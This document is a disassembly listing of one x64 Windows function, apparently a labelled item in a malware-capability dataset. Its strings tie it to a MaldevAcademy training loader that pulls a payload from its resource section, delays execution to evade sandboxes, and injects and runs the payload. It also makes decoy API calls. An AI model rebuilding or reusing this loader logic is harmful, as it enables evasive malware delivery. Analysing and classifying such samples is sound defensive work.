Function at 0x140003fd0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbx
push rbp
sub rsp, 0x258
xor ebp, ebp
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rbp
mov dword [rax + 8], ebp
call fcn.140003310
mov ebx, ebp
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rbp + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140004016
mov dword [rax], 3
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x14000408b
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x248], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.140001d20
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0xe]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [0x140008090]
call fcn.140001520
test eax, eax
je 0x1400041b7
xor ecx, ecx
mov ebx, 0x5a
call fcn.140001000
mov rcx, rax
lea r9, [rsp + 0x270]
lea r8, [rsp + 0x278]
movzx edx, bx
call fcn.140004510
test eax, eax
jne 0x1400041f5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rbx - 0x52]
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400041b7
lea rdi, str.C:UsersMALDEV01Desktop_scratchMaldevAcademyLdr.1_mainMaldevAcademyLdr.1_mainLoadermain.c
mov rcx, rdi
lea edx, [rbx + 2]
call fcn.140001d50
test rax, rax
je 0x140004166
lea edx, [rbx + 2]
mov rcx, rdi
call fcn.140001d50
lea rdi, [rax + 1]
mov r9d, 0x54
lea rdx, str.____Failed_To_Fetch_The_Payload_From_The_Resource_Section____s._d__n
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9d, 0x21
lea r8, str.Loader.exe
lea rdx, str.Free_Debug_Console__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
sub eax, 1
je 0x1400044e1
cmp eax, 1
jne 0x1400044e7
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400044e7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140004274
movss xmm0, dword [0x140008008]
lea rdx, str._i__Delaying_Execution_For__d_Seconds_...
mulss xmm0, dword [0x140006a20]
mov rcx, rax
cvttss2si r8, xmm0
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movss xmm0, dword [0x140008008]
mulss xmm0, dword [0x140006a24]
mov rdx, qword [0x1400080e8]
mov ecx, dword [0x1400080e0]
cvttss2si rax, xmm0
imul eax, eax, 0x2710
neg rax
mov qword [rsp + 0x288], rax
call fcn.140005030
lea rdx, [rsp + 0x288]
xor ecx, ecx
call fcn.140005052
lea rdi, str.C:UsersMALDEV01Desktop_scratchMaldevAcademyLdr.1_mainMaldevAcademyLdr.1_mainLoadermain.c
mov ebx, eax
test eax, eax
jns 0x140004376
cmp eax, 0x102
je 0x140004376
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x140004376
mov edx, 0x5c
mov rcx, rdi
call fcn.140001d50
test rax, rax
je 0x14000431d
mov edx, 0x5c
mov rcx, rdi
call fcn.140001d50
inc rax
jmp 0x140004320
mov rax, rdi
mov r9, rax
mov dword [rsp + 0x20], 0x30
mov r8d, ebx
lea rdx, str.____NtDelayExecution_Failed_With_Error:_0x_0.8X____s._d__n
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400043e0
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.140004af0
mov edx, dword [rsp + 0x270]
lea r8, [rsp + 0x280]
mov rcx, qword [rsp + 0x278]
call fcn.1400039b0
test eax, eax
jne 0x140004460
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400041b7
mov edx, 0x5c
mov rcx, rdi
call fcn.140001d50
test rax, rax
je 0x14000444e
mov edx, 0x5c
mov rcx, rdi
call fcn.140001d50
lea rdi, [rax + 1]
mov r9d, 0x6a
lea rdx, str.____Failed_To_Inject_The_Payload____s._d__n
jmp 0x140004173
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400044d0
mov r8d, 0xa
lea rdx, str._n_t_t____Executing_The_Payload_In__d_Seconds_____n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x280]
call fcn.140003760
xor eax, eax
jmp 0x1400044ec
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x248]
mov rsi, qword [rsp + 0x250]
add rsp, 0x258
pop rbp
pop rbx
ret